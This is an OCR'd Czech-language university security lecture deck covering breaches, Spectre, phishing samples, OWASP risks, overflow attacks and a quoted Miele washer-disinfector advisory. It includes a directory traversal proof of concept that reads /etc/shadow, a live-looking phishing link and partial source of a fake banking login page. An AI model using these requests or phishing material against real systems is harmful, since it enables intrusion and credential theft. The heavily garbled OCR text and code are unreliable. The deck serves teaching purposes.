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News 17-12-13

» Spolecnost 4iQ objevila v hlubinach dark webu obfi
databazi zhruba 1,4 miliardy kontaktl s hesly, které mohou
vést k nové vineé utokl na velké mnoZstvi subjektd.
Spoluzakladatel spole¢nost Julio Casal na firemnim webu
uvedl, Ze pomoci urCité ¢asti této databaze ovéfili platnost
kombinaci jmen a hesel.

Source: root.cz/zpravicky/
obri-databaze-1-4-miliardy-prihlasovacich-udaju—-nal
Link: medium.com/4igdelvedeep/
l1-4-billion-clear-text-credentials—-discovered-in-a-
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root.cz/zpravicky/obri-databaze-1-4-miliardy-prihlasovacich-udaju-nalezena-na-dark-webu
root.cz/zpravicky/obri-databaze-1-4-miliardy-prihlasovacich-udaju-nalezena-na-dark-webu
medium.com/4iqdelvedeep/1-4-billion-clear-text-credentials-discovered-in-a-single-database-3131d0a1ae14
medium.com/4iqdelvedeep/1-4-billion-clear-text-credentials-discovered-in-a-single-database-3131d0a1ae14

News 17-12-13
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Password
1 9218720 123456 21 370652 666666
2 3103503 123456789 22 354784 123
3 1651385 qwerty 23 347187 monkey
4 1313464 password 24 343864 dragon
5 1273179 11111 25 311371 1gaz2wsx
6 1126222 12345678 26 300279 123qwe
7 1085144 abc123 27 299984 121212
8 969909 1234567 28 298938 myspag
9 952446 passwordl 29 291132 a123456
10 879924 1234567890 30 276473 qwe123
1 866640 123123 31 270488 1q2w3edr
12 834468 12345 32 268121 zxcvbnm
13 621078 homelesspa 33 263605 777777
14 564344 iloveyou 34 255079 123abc
15 527158 1g2w3edr5t 35 250732 qwerty123
16 470562 qwertyuiop 36 241721 qwerty1
468554 1234 241495 987654321

Bursa Security



Meltdown and Spectre

=

SPECTRE




Prehled
Motivace

Meltdown and Spectre

if (x < arrayl_size)
y = array?2larrayl[x] x 256];
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https://www.root.cz/clanky/procesory-intel-maji-vaznou-hardwarovou-chybu-zaplata-vyrazne-snizuje-vykon/
https://www.root.cz/clanky/procesory-intel-maji-vaznou-hardwarovou-chybu-zaplata-vyrazne-snizuje-vykon/
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Meltdown and Spectre

if (x < arrayl_size)
y = array?2larrayl[x] x 256];

» Spekulativni provadeni
» side channel attack

https://www.root.cz/clanky/
procesory-intel-maji-vaznou—-hardwarovou—-chybu—-zaple
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https://www.root.cz/clanky/procesory-intel-maji-vaznou-hardwarovou-chybu-zaplata-vyrazne-snizuje-vykon/
https://www.root.cz/clanky/procesory-intel-maji-vaznou-hardwarovou-chybu-zaplata-vyrazne-snizuje-vykon/
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Meltdown and Spectre

char af[1l07];
if (b < 10) {
c = al[bl;

CPU zac¢né vyraz c = a[b] spekulativné provadét jesté predtim, nez zna vysledek testu if (b < 10). Takze fyzicky
probéhne ¢teni mimo meze pole. Ten vysledek se zahodi hned potom, co CPU vyhodnoti podminku (b < 10) jako
false, ale to uz je pozdé, protoze spekulativni vykonavani éteni mimo meze pole uz ovlivnilo vnitini stav procesoru,
mohla se napf. zménit cache v zavislosti na vysledku a[b], coz muze byt mozné side kanalem precist a vyhodnotit z
jiného procesu.

https://www.root.cz/clanky/

procesory-intel-maji-vaznou-hardwarovou-chybu-zaplata-vyrazne-snizuje-vykon/
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https://www.root.cz/clanky/procesory-intel-maji-vaznou-hardwarovou-chybu-zaplata-vyrazne-snizuje-vykon/
https://www.root.cz/clanky/procesory-intel-maji-vaznou-hardwarovou-chybu-zaplata-vyrazne-snizuje-vykon/
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Meltdown and Spectre

N Haha! Well at least we
Nooo, it's just a tiny bug, 7 don't have to wory!
barely even matters... Oh! Look!
Qncock)
00 %0
= oc
MD;

AMDZ1

OK, so we'll admit we might also have ar, when | sold
a small problem, but we'll Tind a solution = my stock options in
if we work together! #love #peace november,
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TTPatch for Flash and Chrome

Flgure 42 Time to Patch for Adobe Flash and Google Chrome

v v v y v vy v v v v
Adobe
Flash
Outdated B % 0 e N 1 s
Versions: o bow e 70w % 76%  77% on e % a% o2 s2%  86%
Week: 0 5 10 15 20 25 30 35 40 45 50 55 60 65 70 75
May 2015

IIVIT OV IV.NY
YYVVY v
Google
Chrome
70

Outdated 63% 8% 7% 54% 0% gsw b : ew il
Versions: g F e s .
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May 2015
¥ Update Released Low High

Adoption of Latest Update
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For more info visit; www.cisco.comigofacr2017
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TTPatch for Firefox/Silverlight/Java

Figure 43 Time to Patch for Firefox, Silverlight, and Java

Firefox

Outdated
Versions:

Week: 0 5 10 15 20 25 30 35 40 as 50 55 60 65 70 75
May 2015

v ¥ v v

Outdated 3% %
Versions:
Week: o 5 10 15 20 25 30 35 40 a5 50 55
y v y_ v vy y_ v ¥ ¥y
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For more info visit; www.cisco.comigofacr2017



Middleware vulnerabilities

Figure 41 Vulnerabilities Found in Middleware Libraries
urce: Cisco Securiy Research
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For more info visit; www.cisco.comigofacr2017
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Cisco researchers, while looking for vulnerabilities in third-party
software, discovered an average of 14 new vulnerabilities in
software per month. Most of those vulnerabilities (62) were
attributable to the use of middleware. Of those 62
vulnerabilities, 20 were found within code that handles PDFs;
12 were found in code that handles images; 10 were found in
code for common office productivity solutions; nine were found
in code for compression; and 11 were found in other libraries
(Figure 41).
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1) €508 InternetBankic x L&)
« ¢ | @ taurafasion.id/zp/1 login htm
Helpdesk 495 800 111 192017 15:

-.‘ Pristup ke slust
€SOB InternetBanking 24 ‘

1505 b B

ete it ve své pobotce €508, informac n www.csab.cz
orovedete-li po dabu 20 minut 23dnou operaci apikace vim buda sutomaticky oahissens

Prihldgeni

apovou kartou

® bezpeznostni doporuéeni
pred piibasenim viokte kartu do
Ercéky Epovych karet

b i Jekdronickéh
bankownictyi

Mezinejdilesiisé pat

« pravidelné aktuslzuite operacni systé
Identifikacnim Gislem 3 PIN srednan intemetouy proh

x Do  pevieod skbaknn nteovy
dentatni oo [N » m 1
P

Zdravotni vidaie v zahranéi? Penize vim posleme
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03/2017: Phishing

CSOB InternetBankin X

C' | ©® laurafasion.id/zp/1/login.htm

Helpdesk 495 800 111 19.1.2017 15:15:05

—
€SOB InternetBanking 24

Pristup ke slu

Prihldseni

&ipovou kartou ® Aktuality
pud prihléSenim vioZte kartu do
étecky Eipovych karet Upozoriiujeme na poc
_ dillezits zprava” a p
G spolecnosti

Zména certifikatu pro i Tato e-mailova zpréva
u vystavenou C

strednic!

Obrazek: Address line

Security
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Phishing

Obrazek:
Image 2

Obrazek: Image 1
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Phishing

Obrazek:
Image 2

Easy: 2
pics, 1 form,
javascript

Obrazek: Image 1
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<!DOCTYPE HTHL PUBLIC *-//W3C//DTD HTHL 4.01 Transitional//EN">
<html>

<head>
<title>&#268;S0B InternetBanking 24 - p&#345;ihldaacute;dscaron;eni</title>
<neta http-equiv="content-type” content="text/htnl; charset=iso-8850-1">

<script type="text/javascript >
function unhideBody () {

odyElens = document.getElen

s[0].style. visibility =

visibility:hidden™ onlead="unhideBody ()">

-index;0">
border=0 ></div>

halbhai halbhai method=post class="pure-forn'>
* naxlength-8

s/body3|
</htnil>

Obréazek: Source code

M. Bursa Security
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[) €508 ntematBericr, x L\

¢ C (O leuratasion dizp smscode b —

Helpdesk 495 800 111 B © loaout

-
€SOB InternetBanking 24

Set-up

CSOB Smart Key setting

©¢sos, 2017 elodeskEB@ceoh.cz | Wit tous | Terms of Use | waecaoh,

Obrazek: Next step
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Obrazek: Next step: Detail
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2 Kurzovn fstek... x | 4

Produkly*  Kontakly *

Bankomaty a pobocky Poplatky a sazby Kalkulacky
25598 31200
Kurzowilistky @
Wiaiting for statistics csob.cz. |

Obrazek: And we’re back...

M. Bu Security
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Nigerian Scam (March 2017)

MUj drahy,

Jsem Barrister Oscar Martins, z Lomé-Togo, advokat v zakonem, jsem vam
poslal toto hlaseni dny, ale nesly3el jsem od vas, doufam, Ze je vie v pofadku
s vami a vasi rodiné? Dé&lam tento navrh pro vas ve vztahu ke smrti mého
klienta, ktery zemfel v dopravni nehodé opusténi ¢astku ve vy&i 5,5 miliond
eur, v bance zde. Mam usilovat o va3 souhlas k vam jako dali pfibuzny me
pozdni klienta, protoZe jste cizinec a mate stejné pfijmeni s nim tak, Ze banka
bude pfevadét penize na vas nas vzajemny prospéch.

S pozdravem,

Barrister Oscar Martins

Obrazek: Free money...?

M. Bursa Security
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IT Helpdesk (March 2017)

& Secure | https:/mail.google.com/mail/u/0/?ui=2&view=btop&ver=177IztgngBymzsisearch=spaméth=15acda78060¢
Delee forever | | Mot spam » [N wore
{***Spam***1} This mail is from IT Helpdesk Soam x -
) Admin Portal IT Desk jdelosre@montsfiore.org yia cvut.cz 10:58 AM (O minutes ago) &

@ to Recipients ~

Be careful with this message. Many people marked similar messages as spam. Lear more

We recently blocked a sign-in attempt to your email Account from an unknown location, someone
has used your email Web login mail access illegally and we are taken a proper action to suspend
your Web login access till further notice.

If you are not aware of this action kindly complete the updating process to secure and keep your
email active.

Failure to do so immediately will lead to the disable of your email account from our data base
portal.

Kindly be warned and act fast to this notification by clicking on the admin link below for
verification-update.

Click=:

http://mkrspc.se/9D

If unable to click the link below, you are advised to copy and paste it in a new browser.

A confirmation link will be send to you for the Re-Activation of your email after you have fill your
datas on the admin link above Your confirmation Is number: 1265-6778-8250-8393-5727. for a new
activation.

IT Support Team. (c) 2017 admin Office Help-Desk.

Obrazek: Phishing, social engineering

M. Bursa Security
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IT Helpdesk (March 2017)

@ Secure | https://mail.google.com/mail/u/0/?ui=2&view=btop&ver=17

Delete forever Not spam [ ] L Y More

{***Spam***!} This mail is from IT Helpdesk Spam  x

Admin Portal IT Desk jdelosre@montefiore.org via cvut.cz

o to Recipients [+

Be careful with this message. Many people marked similar messages as span

We recently blocked a sign-in attempt to your email Account
has used your email Web login mail access illegally and we :
your Web login access till further notice.

Obrazek: Secure...?

M. Bursa Security
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IT Helpdesk (March 2017)

kindly be warned and act fast to this notification by clicking on the admin link below for
verification-update.

Click=====> http://mkrspc.se/9D

If unable to click the link below, you are advised to copy and paste it in a new browser.

A confirmation link will be send to you for the Re-Activation of your email after you have fi
datas on the admin link above Your confirmation is number: 1265-6778-8250-8393-5727. fo
activation.

IT Support Team. (c) 2017 admin Office Help-Desk.

Obrazek: admin Office Help-Desk

M. Bursa Security
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IT Helpdesk (March 2017)

» Display: http://mkrspc.se/9D

» Link: http://www.google.com/url?g=http%3A%2F%
2Fmkrspc.se%2F9D&sa=D&sntz=1&usg=
AFQJCNGLa70cIgORZk—w-Qv7RpNCB1S4Eqg
The link redirects automatically... Guess why this approach
has been used...

M. Bursa Security


http://mkrspc.se/9D
http://www.google.com/url?q=http%3A%2F%2Fmkrspc.se%2F9D&sa=D&sntz=1&usg=AFQjCNGLa70cIgORZk-w-Qv7RpNCB1S4Eg
http://www.google.com/url?q=http%3A%2F%2Fmkrspc.se%2F9D&sa=D&sntz=1&usg=AFQjCNGLa70cIgORZk-w-Qv7RpNCB1S4Eg
http://www.google.com/url?q=http%3A%2F%2Fmkrspc.se%2F9D&sa=D&sntz=1&usg=AFQjCNGLa70cIgORZk-w-Qv7RpNCB1S4Eg
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IT Helpdesk (March 2017)

montefioreorg sitey.me ¢ |[@Search *le F -

System mail administrator service help desk server terminal.

You are advised to verify your email account for update to ensure you do not experience
service interruption from our data base.
Fill the required information below correctly for update of your email.
IT Services Help DesR.
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IT Helpdesk (March 2017)

System mail administrator service help desk server terminal.

You are advised to verify your email account for update to ensure you do not experience
service interruption from our data base.
Fill the required information below correctly for update of your email.
IT Services Help DesR.

v

Success

Obrazek: Even for unmatch. pwds, even for blank form...

M. Bursa Security
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Invoice (June 2017)

From: Pavel Jelinek <pavel jelinek@davemar.pl> (TECHENG CZ s.r.0.)
To:  “miroslav. bursa’ <miroslav.bursa@cwut.cz>
Date: MonJun 5 22:46:08 2017

Attachments: ©
 Faktura.rar

Spam status: in =

Dobry den.

Vage faktura a seznam vyrobkd je v prilozeném dokumentu. R&no v den dorugen, kurjr podle Vam SMS zprawu s upfesnzngm
Zasern doruen.

Pavel Jelinek, Obchodni odd&leni

TECHENG CZ s.r.o
Telefon: +420 257 702 093

¥ Faktura.rar

Obrazek: Quite well translated. Guess what is in the archive...
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Skimming device

samkofAmerica <=

Obrazek: Find a difference...
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Skimming device

samkofAmerica <=

WITHOUT

Obrazek: Skimming device

M. Bursa Security
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An average day...

EVERY B SECONDS
4

Obréazek: Motivagni obrazek, Checkpoint Security Report 2016

M. Bursa Security
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An average day...

» Every 4 s: An unknown malware is downloaded

» Every 5 s: A host accesses a malicious website

» Every 30 s: A threat emulation event occurs

» Every 53 s: A bot communicates with its CC center
» Every 81 s: A known malware is downloaded

» Every 4 min: A high-risk app is used

Obrazek: » Every 32 min: Sensitive data is sent outside the org.
Avg. day

M. Bursa Security
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Bezpecnost

Is Everyone’s Responsibility

about four people named

Everybody wouldn’t do it.
It ended up that
Everybody blamed

Somehody whes

Nobody did what Anybody

could have done!

Obrazek: Motivaéni obrazek

M. Bu Security
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Bezpecnost

“The riskiest thing we can do
is just maintain the status quo”

-Bob Iger, buisinessman, chairman/CEO of Walt Disney Company

M. Bursa Security
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Bezpecnost

“Status quo, you know,
is Latin for 'the mess we’re in’”

-Ronald Reagan, actor and former President of the United States

M. Bursa Security
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Bezpecnost

“There is no such thing as perfect security,
only varying levels of insecurity.”

-Salman Rushdie, author

M. Bursa Security
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Where are you?

Dunning-Kruger Effect

g1 ® Ionce was biind
= and now I see
.H”’;;:n T;h ﬁ:s Trust me, it's
2 than I thought ctMpAciied 8
a
E OK it's starting
8 OhmanI'm @ tomake sense @
never gaing to
understand it
h?
=] | i

NOVICE KNOWLEDGE IM FIELD E)(PEFH"

Obrazek: | must be somewhere...
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Typy Fizeni

Rizeni pristupu
Risk management

Modely pocitacové bezpecnosti

Access control list (ACL)
Capability-based security
Multi-level security (MLS)
Role-based access control (RBAC)
Lattice-based access control (LBAC)
Bell-LaPadula model

Biba model

Clark-Wilson model
Graham-Denning model
Take-grant protection model
Object-capability model

vV V. Y YV VY VY VvV VvV Vv VY

M. Bursa Security



Prehled

CIA Triad

Typy Fizeni
Rizeni pristupu

Risk management

CIA Triad

Services

R Availability

Obrazek: AIC: The CIA triad

Model designed to guide policies for information security within
an organization.

M. Bursa Security
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CIA Triad

Typy Fizeni
Rizeni pristupu

Risk management

CIA Triad

» Confidentiality (privacy)
» Citlivé Udaje: pouze autorizovani lidé
» Poruseni: Koukani pfes rameno

< Avaibity /.

Obrazek:
The CIA
triad

M. Bursa Security
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CIA Triad

Typy Fizeni
Rizeni pristupu

Risk management

CIA Triad

» Confidentiality (privacy)
» Citlivé Udaje: pouze autorizovani lidé
» Poruseni: Koukani pfes rameno

< Avaibity /.

» Integrity
Obréazek: » Bez autorizace nelze data vytvofit/’zmeénit/smazat.
The CIA Zachovat divéryhodnost a konzistenci.
triad » Poru$eni: Napf. vypadek el. proudu

M. Bursa Security
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CIA Triad

Typy Fizeni
Rizeni pristupu

Risk management

CIA Triad

» Confidentiality (privacy)
» Citlivé Udaje: pouze autorizovani lidé
» Poruseni: Koukani pfes rameno

» Integrity
Obréazek: » Bez autorizace nelze data vytvofit/’zmeénit/smazat.
The CIA Zachovat divéryhodnost a konzistenci.
triad » Poru$eni: Napf. vypadek el. proudu

» Availability

» Dostupnost informaci, pocitaCovych systémi
zpracovavajicich tyto informace a bezpecnostnich
prvkd chranici tyto informace (redundance (RAID),
failover, HA, DRP?)

M. Bursa Security
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CIA Triad

Typy Fizeni

Rizeni pristupu
Risk management

Typy Fizeni

» Administrativni
» psana pravidla: zasady, postupy, navody, standardy

M. Bursa Security
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CIA Triad

Typy Fizeni

Rizeni pristupu
Risk management

Typy Fizeni

» Administrativni
» psana pravidla: zasady, postupy, navody, standardy
» Logicke
» monitorovani a fizeni pfistupu k informacim (hesla,
firewally, IDS, ACL, ...)
» Principle of least privilege (Windows Administrator ®) vs.
BYOD, BYOA

M. Bursa Security
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CIA Triad

Typy Fizeni

Rizeni pristupu
Risk management

Typy Fizeni

» Administrativni
» psana pravidla: zasady, postupy, navody, standardy
» Logicke
» monitorovani a fizeni pfistupu k informacim (hesla,
firewally, IDS, ACL, ...)
» Principle of least privilege (Windows Administrator ®) vs.
BYOD, BYOA
» Fyzické
» monitorovani a fizeni v ramci pracovist a pocitacovych
stfedisek (zamky, dvefe, alarmy, kamery, hlidagi, ...)
» Separation of duties

M. Bursa Security
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CIA Triad

Typy Fizeni

Rizeni pristupu
Risk management

Klasifikace informaci

Ochrana v zavislosti na hodnoté informaci
Zavisi na oblasti pouziti

v

v

v

Nutno kvantifikovat vyznam klasifikace

v

Nutno Skolit zaméstnance i partnery

M. Bursa Security
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CIA Triad

Typy Fizeni

Rizeni pristupu
Risk management

Klasifikace informaci

>

Ochrana v zavislosti na hodnoté informaci
Zavisi na oblasti pouziti

v

v

Nutno kvantifikovat vyznam klasifikace

v

Nutno Skolit zaméstnance i partnery

Priklad:
» Obchodni sféra:
» public/sensitive/private/confidential
» Vladni sféra:

» unclassified, sensitive but unclassified, confidential, secret,
top secret

M. Bursa Security
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CIA Triad

Typy Fizeni
Rizeni pFistupu

Risk management

s

Rizeni pfistupu

Informace smi byt pfistupné pouze povéfenym osobam
» |dentifikace — "Hello, my name is John Doe"(username)
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CIA Triad

Typy Fizeni
Rizeni pFistupu

Risk management

s

Rizeni pfistupu

Informace smi byt pfistupné pouze povéfenym osobam
» |dentifikace — "Hello, my name is John Doe"(username)

» Autentizace — Ovéfeni, Ze osoba je opravdu John Doe
(heslo)
» something you know
» something you have
» something you are
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CIA Triad

Typy Fizeni
Rizeni pFistupu

Risk management

s

Rizeni pfistupu

Informace smi byt pfistupné pouze povéfenym osobam
» |dentifikace — "Hello, my name is John Doe"(username)

» Autentizace — Ovéfeni, Ze osoba je opravdu John Doe
(heslo)

» something you know
» something you have
» something you are

» Autorizace opravnéni k pfistupu k informacim (role
uzivatele, RADIUS, Kerberos, ...)
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CIA Triad

Typy Fizeni
Rizeni pFistupu

Risk management

s

Rizeni pfistupu

Informace smi byt pfistupné pouze povéfenym osobam
» |dentifikace — "Hello, my name is John Doe"(username)

» Autentizace — Ovéfeni, Ze osoba je opravdu John Doe
(heslo)

» something you know
» something you have
» something you are

» Autorizace opravnéni k pfistupu k informacim (role
uzivatele, RADIUS, Kerberos, ...)

» Protokolovani Auditing; zaznamy nesmi byt mozné
modifikovat
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Typy Fizeni
Rizeni pFistupu

Risk management

Rizeni pfistupu

The strength of any system is no greater than its weakest link.

application

Obréazek: Access Control
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Rizeni pristupu
Risk management

Risk management

» Risk: riziko — pravdépodobnost, Ze dojde k zaSkodné akci
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Risk management

Risk management

» Risk: riziko — pravdépodobnost, Ze dojde k zaSkodné akci

» Vulnerability: zranitelnost, vyuzitelna k ohrozeni Ci
zpUsobeni Skody
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Typy Fizeni

Rizeni pristupu
Risk management

Risk management

» Risk: riziko — pravdépodobnost, Ze dojde k zaSkodné akci

» Vulnerability: zranitelnost, vyuzitelna k ohrozeni Ci
zpUsobeni Skody
» Threat: hrozba, kterd ma moznost zpusobit Skodu
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Typy Fizeni

Rizeni pristupu
Risk management

Risk management

Risk: riziko — pravdépodobnost, Ze dojde k zaSkodné akci
Vulnerability: zranitelnost, vyuzitelna k ohrozeni Ci
zpUsobeni Skody

Threat: hrozba, kterd ma moznost zpusobit Skodu

v

v

v

Neni mozné eliminovat vesSkera rizika: Residual risk

v
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Typy Fizeni

Rizeni pristupu
Risk management

Think twice before you act
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CIA Triad

Typy Fizeni

Rizeni pristupu
Risk management

Risk management

>

Risk: riziko — pravdépodobnost, Ze dojde k zaSkodné akci

Vulnerability: zranitelnost, vyuzitelna k ohrozeni Ci
zpUsobeni Skody
Threat: hrozba, kterd ma moznost zpusobit Skodu

v

v

Neni mozné eliminovat veskera rizika: Residual risk

v

v

Disaster recovery planning
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Typy Fizeni
Rizeni pristupu

Risk management

Bezpecnostni rizika — priklad

Bezpecnostni rizika

Ztréta dat (utoénik, nevhodny uzivatelsky zdsah, havérie HW) 65%
Kréde? dat (utotnik, zaskodnik) 8%

Zneuziti dat 15%
FalSovanidat 12%
\ ztrata dat
| kradez
/ " zneuziti
falSovani

oggJonuine

NN Y Y

Hblou dot

Uttandortky - Ukradens”
Do c2urs-atf.Oborna.Untendorisky-126633199191929.opax

Obrazek: Bezpecnostni rizika (e-shop)
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Pricing

Vulnerable Medical Devices

OWASP Top 10 Risks

The OWASP Top 10 Web Application Security Risks for 2017:
A1 Injection
A2 Broken Authentication and Session Management
A3 Cross-Site Scripting (XSS)
A4 Broken Access Control
A5 Security Misconfiguration
A6 Sensitive Data Exposure
A7 Insufficient Attack Protection
A8 Cross-Site Request Forgery (CSRF)
A9 Using Components with Known Vulnerabilities
A10 Underprotected APIs

Zdroj: owasp.org
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A1 — Injection

Injection flaws, such as SQL, OS, XXE, and LDAP injection
occur when untrusted data is sent to an interpreter as part of a
command or query. The attacker’s hostile data can trick the
interpreter into executing unintended commands or accessing
data without proper authorization.

Zdroj: owasp.org
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A2 — Broken Authentication and Session Management

Application functions related to authentication and session
management are often implemented incorrectly, allowing
attackers to compromise passwords, keys, or session tokens,
or to exploit other implementation flaws to assume other users’
identities (temporarily or permanently).

Zdroj: owasp.org
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A3 — Cross-Site Scripting (XSS)

XSS flaws occur whenever an application includes untrusted
data in a new web page without proper validation or escaping,
or updates an existing web page with user supplied data using
a browser API that can create JavaScript. XSS allows attackers
to execute scripts in the victim’s browser which can hijack user
sessions, deface web sites, or redirect the user to malicious
sites.

Zdroj: owasp.org
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A4 — Broken Access Controll

Restrictions on what authenticated users are allowed to do are
not properly enforced. Attackers can exploit these flaws to
access unauthorized functionality and/or data, such as access
other users’ accounts, view sensitive files, modify other users’
data, change access rights, etc.

Zdroj: owasp.org

M. Bursa Security



OWASP Top Ten

OWASP Top Ten Mobile
Zakladni atoky Prehled

Pricing

Vulnerable Medical Devices

A5 — Security Misconfiguration

Good security requires having a secure configuration defined
and deployed for the application, frameworks, application
server, web server, database server, platform, etc. Secure
settings should be defined, implemented, and maintained, as
defaults are often insecure. Additionally, software should be
kept up to date.

Zdroj: owasp.org
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A6 — Sensitive Data Exposure

Many web applications and APls do not properly protect
sensitive data, such as financial, healthcare, and PIl. Attackers
may steal or modify such weakly protected data to conduct
credit card fraud, identity theft, or other crimes. Sensitive data
deserves extra protection such as encryption at rest or in
transit, as well as special precautions when exchanged with the
browser.

Zdroj: owasp.org
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Password is already used

CREATE A NEW ACCOUNT

spacemoses1337
o —
assword is being used by fu/rowealdo37188. Please choose another password.
hunter (1]

@ Tunderstand the risks of using someone else’s password

g |

I'm not a robot

Obrazek: Sensitive data exposure
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A7 — Insufficient Attack Protection

The majority of applications and APIs lack the basic ability to
detect, prevent, and respond to both manual and automated
attacks. Attack protection goes far beyond basic input validation
and involves automatically detecting, logging, responding, and
even blocking exploit attempts. Application owners also need to
be able to deploy patches quickly to protect against attacks.

Zdroj: owasp.org
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A8 — Cross-Site Request Forgery (CSRF)

A CSRF attack forces a logged-on victim’s browser to send a
forged HTTP request, including the victim’s session cookie and
any other automatically included authentication information, to
a vulnerable web application. Such an attack allows the attacker
to force a victim’s browser to generate requests the vulnerable
application thinks are legitimate requests from the victim.

Zdroj: owasp.org
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A9 — Using Known Vulnerable Components

Components, such as libraries, frameworks, and other software
modules, run with the same privileges as the application. If a
vulnerable component is exploited, such an attack can facilitate
serious data loss or server takeover. Applications and APls
using components with known vulnerabilities may undermine
application defenses and enable various attacks and impacts.

Zdroj: owasp.org
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A10 — Unvalidated Redirects and Forwards

Modern applications often involve rich client applications and
APIs, such as JavaScript in the browser and mobile apps, that
connect to an API of some kind (SOAP/XML, REST/JSON,
RPC, GWT, etc.). These APIs are often unprotected and
contain numerous vulnerabilities.

Zdroj: owasp.org
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OWASP Top 10 Mobile Risks

The OWASP Top 10 Mobile Security Risks, 2016:
M1 Improper Platform Usage
M2 Insecure Data Storage
M3 Insecure Communication
M4 Insecure Authentication
M5 Insufficient Cryptography
M6 Insecure Authorization
M7 Client Code Quality

M8 Code Tampering

M9 Reverse Engineering
M10 Extraneous Functionality

Zdroj: owasp.org
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Zakladni utoky

» Stack overflow (Preteceni zasobniku)

Process Address Space
OxFFFF Top of Stack

Attack Code )

Stack Return Address

String

Growth Local Variables ... Growth

buffer

0x0000

Obrazek: Zdroj: http://usenix.org/.../sec98/.../cowan

M. Bursa Security



OWASP Top Ten

OWASP Top Ten Mobile
Zakladni utoky Prehled

Pricing

Vulnerable Medical Devices

Zakladni utoky: Buffer overrun

Buffer Overrun Attacks (silverschatz et al)

[Example and illustrations From Silberschatz ef al. “Operating Sysfems Concepfs” Ch. 15]

Botom ~— frame ponteq

retum address

saved frame pointer

automatic variables

parameter(s)
top

retum address f modified

address o
shellcode

saved frame pointer
NO “oP

bufer(BUFFER_SIZE - 1)

\ copied {
buffer(1) modified shell code
butfer(0)

Security
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Zakladni utoky

» Stack overflow (Preteceni zasobniku)
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Zakladni utoky

» Stack overflow (Preteceni zasobniku)

» Stack smashing (Canaries: Terminator, Random, Random
XOR)
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Zakladni utoky

» Stack overflow (Preteceni zasobniku)

» Stack smashing (Canaries: Terminator, Random, Random
XOR)
» Return-to-libc-attack
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Zakladni utoky

» Stack overflow (Preteceni zasobniku)

» Stack smashing (Canaries: Terminator, Random, Random
XOR)

» Return-to-libc-attack

» Snazi se o provedeni tzv. ShellCode
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Zakladni utoky

» Stack overflow (Preteceni zasobniku)

» Stack smashing (Canaries: Terminator, Random, Random
XOR)

» Return-to-libc-attack

» Snazi se o provedeni tzv. ShellCode

» Ochrana paméti: WX (OpenBSD), NX (Windows)

M. Bursa Security



OWASP Top Ten

OWASP Top Ten Mobile
Zakladni utoky Prehled

Pricing

Vulnerable Medical Devices

Zakladni utoky

» Stack overflow (Preteceni zasobniku)

» Stack smashing (Canaries: Terminator, Random, Random
XOR)

» Return-to-libc-attack

» Snazi se o provedeni tzv. ShellCode

» Ochrana paméti: WX (OpenBSD), NX (Windows)
» Heap overflow
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Zakladni utoky

v

Stack overflow (PreteCeni zasobniku)

» Stack smashing (Canaries: Terminator, Random, Random
XOR)

» Return-to-libc-attack

» Snazi se o provedeni tzv. ShellCode

Ochrana paméti: WX (OpenBSD), NX (Windows)
Heap overflow
Integer overflow/underflow

v

v

v
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Integer over/underflow

> i.e.. ./read_n_bytes ’'6’ ’abcd’,
For M e At what if we use -1°...?

N ¥z72m

P RNDLabL |

‘?»’xnno@
P R NDLaL

Obréazek: Zdroj:
Wikipedia

M. Bursa Security



OWASP Top Ten

OWASP Top Ten Mobile
Zakladni utoky Prehled

Pricing

Vulnerable Medical Devices

Integer over/underflow

> i.e.. ./read_n_bytes ’'6’ ’abcd’,
what if we use ’-1°...?

» 30 April 2015, the FAA? announced it will order Boeing
787 operators to reset its electrical system periodically,

P RNDLaL |

S0 e to avoid an integer overflow which could lead to loss of
electrical power and ram air turbine deployment,
Obrazek: Zdroj: and Boeing is going to deploy a software update in the
Wikipedia fourth quarter.
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Integer over/underflow

> i.e.. ./read_n_bytes ’'6’ ’abcd’,
what if we use ’-1°...?

399998 )
P RNDLaL |

SR > 30 April 2015, the FAA? announced it will order Boeing
sl gl 787 operators to reset its electrical system periodically,
= ::““70002 e to avoid an integer overflow which could lead to loss of

electrical power and ram air turbine deployment,
Obrazek: Zdroj: and Boeing is going to deploy a software update in the
Wlklpedla fourth quarter.

» The EASA?® followed on 4 May 2015.
The error happens after 23" centiseconds
(248.55134814815 days), indicating a 32-bit signed
integer.

@Federal Aviation Authority
b iati o
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Zakladni utoky

» Stack overflow (Preteceni zasobniku)
» Stack smashing (Canaries: Terminator, Random, Random
XOR)
» Return-to-libc-attack
» Snazi se o provedeni tzv. ShellCode
Ochrana paméti: WX (OpenBSD), NX (Windows)

Heap overflow

v

v

v

Integer overflow/underflow
Directory traversal
> /e /.. /etc/passwd

v
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Miele PG 8528 (washer-disinfector)

http://seclists.org/fulldisclosure/2017/Mar/63

[CVE-2017-7240] Miele Professional PG 8528 - Web Server Directory Traversal

From: Jens Regel <jregel () schneider-wulf de>
Date: Fri, 24 Mar 2017 08:27:26 +0100
Title:

Miele Professional PG 8528 - Web Server Directory Traversal

Risk Information:

Risk Factor: Medium

CVSS Base Score: 5.0

CVSS Vector: CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS Temporal Vector: CVSS2#E:POC/RL:OF/RC:C
CVSS Temporal Score: 3.9

M. Bu
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Miele PG 8528 (washer-disinfector)

2016-11-16 Vulnerability discovered

2016-11-10 Asked for security contact

2016-11-21 Contact with Miele product representative
2016-12-03 Send details to the Miele product representative
2017-01-19 Asked for update, no response

2017-02-03 Asked for update, no response

2017-03-23 Public disclosure

Status:

Published

Affected Products:

Miele Professional PG 8528 (washer-disinfector) with ethernet interface.
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Miele PG 8528 (washer-disinfecto

Details:

The corresponding embeded webserver "PST10 WebServer" typically listens
to port 80 and is prone to a directory traversal attack, therefore an
unauthenticated attacker may be able to exploit this issue to access
sensitive information to aide in subsequent attacks.
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Miele PG 8528 (washer-disinfecto

Proof of Concept:

~$ telnet 192.168.0.1 80

Trying 192.168.0.1...

Connected to 192.168.0.1.

Escape character ist "~]’.

GET /../../../ /il i/ i/ i/ )i/ /. /etc/shadow HTTP/1.1

HTTP/1.1 200 OK

Date: Wed, 16 Nov 2016 11:58:50 GMT

Server: PST10 WebServer

Content-Type: application/octet-stream

Last-Modified: Fri, 22 Feb 2013 10:04:40 GMT
Content-disposition: attachment; filename="./etc/shadow"
Accept-Ranges: bytes

Content-Length: 52

root:$1$$Md0i[...snip...]12001:10933:0:99999:7:::
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Miele PG 8528 (washer-disinfector)

Fix:

We are not aware of an actual fix.

M. Bursa Security
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Zakladni utoky

» Stack overflow (Preteceni zasobniku)

» Stack smashing (Canaries: Terminator, Random, Random
XOR)

» Return-to-libc-attack

» Snazi se o provedeni tzv. ShellCode

